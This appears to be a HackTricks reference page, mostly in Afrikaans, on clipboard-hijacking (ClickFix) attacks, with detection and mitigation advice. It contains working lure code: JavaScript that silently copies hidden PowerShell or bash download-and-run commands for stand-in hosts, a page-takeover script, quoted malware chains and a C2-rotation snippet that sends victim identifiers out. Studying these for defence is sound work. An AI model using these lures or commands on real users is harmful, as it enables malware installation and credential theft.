Clipboard Hijacking (Pastejacking) Attacks
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
“Plak nooit iets wat jy nie self gekopieer het nie.” – oud maar steeds geldende raad
Oorsig
Clipboard hijacking – also known as pastejacking – misbruik die feit dat gebruikers gereeld opdragte kopieer en plak sonder om dit na te gaan. ’n Kwaadwillige webblad (of enige JavaScript-capable konteks soos ’n Electron of Desktop-toepassing) plaas programmatis deur die aanvaller beheerde teks in die stelsel-clipboard. Slachtoffers word aangemoedig, gewoonlik deur sorgvuldig saamgestelde social-engineering instruksies, om Win + R (Run dialog), Win + X (Quick Access / PowerShell) te druk, of ’n terminal te open en die clipboard-inhoud plak, wat onmiddellik ewekansige opdragte uitvoer.
Omdat geen lêer afgelaai word en geen aanhangsel geopen word nie, omseil die tegniek die meeste e-pos- en webinhoud-sekuriteitskontroles wat aanhangsels, macros of direkte opdraguitvoering monitor. Die aanval is daarom gewild in phishing-kampanjes wat bekende malwarefamilies soos NetSupport RAT, Latrodectus loader of Lumma Stealer lewer.
Forced copy buttons and hidden payloads (macOS one-liners)
Sommige macOS infostealers kloon installasiewebwerwe (bv. Homebrew) en dwing die gebruik van ’n “Copy” knoppie sodat gebruikers nie slegs die sigbare teks kan merk nie. Die clipboard-inskrywing bevat die verwagte installasie-opdrag plus ’n aangehegte Base64 payload (bv. ...; echo <b64> | base64 -d | sh), sodat ’n enkele plak albei uitvoer terwyl die UI die ekstra fase wegsteek.
JavaScript Proof-of-Concept
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Ouer veldtogte het document.execCommand('copy') gebruik; nuwer veldtogte maak staat op die asynchrone Clipboard API (navigator.clipboard.writeText).
Die ClickFix / ClearFake Flow
- Gebruiker besoek ’n typosquatted of gekompromitteerde webwerf (bv.
docusign.sa[.]com) - Ingespuite ClearFake JavaScript roep
unsecuredCopyToClipboard()helper aan wat stilweg ’n Base64-encoded PowerShell one-liner in die klembord stoor. - HTML-instruksies vertel die slagoffer om: “Druk Win + R, plak die opdrag en druk Enter om die probleem op te los.”
powershell.exevoer uit en laai ’n argief af wat ’n legitieme uitvoerbare lêer plus ’n kwaadwillige DLL bevat (klassieke DLL sideloading).- Die loader ontsleutel addisionele stadiums, injekteer shellcode en installeer persistence (bv. scheduled task) – uiteindelik word NetSupport RAT / Latrodectus / Lumma Stealer uitgevoer.
Voorbeeld NetSupport RAT-ketting
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe(legitiem Java WebStart) deursoek sy gids namsvcp140.dll.- Die kwaadwillige DLL los APIs dinamies op met GetProcAddress, laai twee binaries (
data_3.bin,data_4.bin) af via curl.exe, ontsleutel hulle met ’n rolling XOR-sleutel"https://google.com/", injecteer die finale shellcode en ontpak client32.exe (NetSupport RAT) naC:\ProgramData\SecurityCheck_v1\.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Laai
la.txtaf met curl.exe - Voer die JScript downloader in cscript.exe uit
- Haal ’n MSI payload af → plaas
libcef.dlllangs ’n ondertekende toepassing → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer via MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
Die mshta-oproep loods ’n verborge PowerShell-skrip wat PartyContinued.exe aflaai, Boat.pst (CAB) uitpak, AutoIt3.exe herbou via extrac32 en lêer-konkatenasie, en laastens ’n .a3x-skrip laat loop wat browser credentials na sumeriavgv.digital exfiltrates.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Sommige ClickFix-campagnes slaan lêer aflaaie heeltemal oor en beveel slagoffers aan om ’n one‑liner te plak wat JavaScript via WSH aflaai en uitvoer, dit persists, en rotates C2 daily. Voorbeeld van ’n waargenome ketting:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Sleutelkenmerke
- Obfuscated URL word tydens uitvoering omgekeer om oppervlakkige inspeksie te omseil.
- JavaScript maak homself persistent via Startup LNK (WScript/CScript), en kies die C2 op grond van die huidige dag – wat vinnige domain rotation moontlik maak.
Minimale JS-fragment gebruik om C2s volgens datum te roteer:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
Die volgende fase ontplooi gewoonlik ’n loader wat persistence vestig en ’n RAT (bv. PureHVNC) aflaai, dikwels TLS aan ’n hardgekodeerde sertifikaat bind en verkeer in stukke opdelen.
Detection ideas specific to this variant
- Prosesboom:
explorer.exe→powershell.exe -c→wscript.exe <temp>\a.js(ofcscript.exe). - Opstartartefakte: LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startupwat WScript/CScript aanroep met ’n JS-pad onder%TEMP%/%APPDATA%. - Registry/RunMRU en command‑line telemetrie wat
.split('').reverse().join('')ofeval(a.responseText)bevat. - Herhaalde
powershell -NoProfile -NonInteractive -Command -met groot stdin-payloads om lang skripte te voed sonder lang command‑lines. - Geskeduleerde Tasks wat daarna LOLBins uitvoer soos
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"onder ’n updater‑agtige taak/pad (bv.\GoogleSystem\GoogleUpdater).
Threat hunting
- Daagliks-roterende C2-hostnames en URLs met die patroon
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>. - Korreleer clipboard write-gebeurtenisse gevolg deur Win+R-plak en dan onmiddellike
powershell.exe‑uitvoering.
Blue-teams kan clipboard-, process-creation- en registry-telemetrie kombineer om pastejacking-misbruik te lokaliseer:
- Windows Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUhou ’n geskiedenis van Win + R opdragte – kyk vir ongewone Base64 / obfuscated inskrywings. - Security Event ID 4688 (Process Creation) waar
ParentImage==explorer.exeenNewProcessNamein {powershell.exe,wscript.exe,mshta.exe,curl.exe,cmd.exe}. - Event ID 4663 vir lêer-kreasies onder
%LocalAppData%\Microsoft\Windows\WinX\of tydelike vouers net voor die verdagte 4688‑gebeurtenis. - EDR clipboard sensors (indien teenwoordig) – korreleer
Clipboard Writegevolg onmiddellik deur ’n nuwe PowerShell‑proses.
IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
Onlangse veldtogte masseproduseer vals CDN/browser-verifikasiebladsye (“Just a moment…”, IUAM-style) wat gebruikers dwing om OS‑spesifieke opdragte vanaf hul clipboard in native consoles te plak. Dit skuif uitvoering uit die browser sandbox en werk oor Windows en macOS.
Key traits of the builder-generated pages
- OS‑detectie via
navigator.userAgentom payloads aan te pas (Windows PowerShell/CMD vs. macOS Terminal). Opsionele decoys/no-ops vir nie‑ondersteunde OS om die illusie te behou. - Outomatiese clipboard‑copy op skynbaar onskadelike UI‑aksies (checkbox/Copy) terwyl die sigbare teks van die clipboard‑inhoud kan verskil.
- Mobiele blokkering en ’n popover met stap‑vir‑stap instruksies: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
- Opsionele obfuscation en enkel-lêer injector om ’n gekompromitteerde site se DOM te oorskryf met ’n Tailwind‑gestileerde verifikasie UI (geen nuwe domeinregistrasie benodig nie).
Example: clipboard mismatch + OS-aware branching
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
macOS persistence van die aanvanklike uitvoering
- Gebruik
nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &sodat die uitvoering voortgaan nadat die terminal gesluit is, wat sigbare artefakte verminder.
In-place page takeover op gekompromitteerde webwerwe
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
Detectie- en jagideeë spesifiek vir IUAM-styl lokmiddele
- Web: Pages that bind Clipboard API to verification widgets; mismatch between displayed text and clipboard payload;
navigator.userAgentbranching; Tailwind + single-page vervanging in verdagte kontekste. - Windows-eindpunt:
explorer.exe→powershell.exe/cmd.exekort nadat daar ’n blaaier-reaksie was; batch/MSI installers uitgevoer vanaf%TEMP%. - macOS-eindpunt: Terminal/iTerm wat
bash/curl/base64 -dmetnohupskep naby blaaiergebeure; agtergrondtake wat die terminal se sluiting oorleef. - Korreleer
RunMRUWin+R-geskiedenis en clipboard-skryfbeweginge met daaropvolgende konsoleproses-skepping.
Sien ook vir ondersteunende tegnieke
Mitigering
- Blaaierverharding – deaktiveer clipboard write-access (
dom.events.asyncClipboard.clipboardItemetc.) of vereis ’n gebruikersgebaar. - Sekuriteitsbewustheid – leer gebruikers om type sensitiewe opdragte of eers in ’n teksredigeerder te plak.
- PowerShell Constrained Language Mode / Execution Policy + Application Control om arbitraire one-liners te blokkeer.
- Netwerkbeheer – blokkeer uitgaande versoeke na bekende pastejacking en malware C2-domeine.
Verwante Truuks
- Discord Invite Hijacking often abuses the same ClickFix approach after luring users into a malicious server:
References
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
- The ClickFix Factory: First Exposure of IUAM ClickFix Generator
- 2025, the year of the Infostealer
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


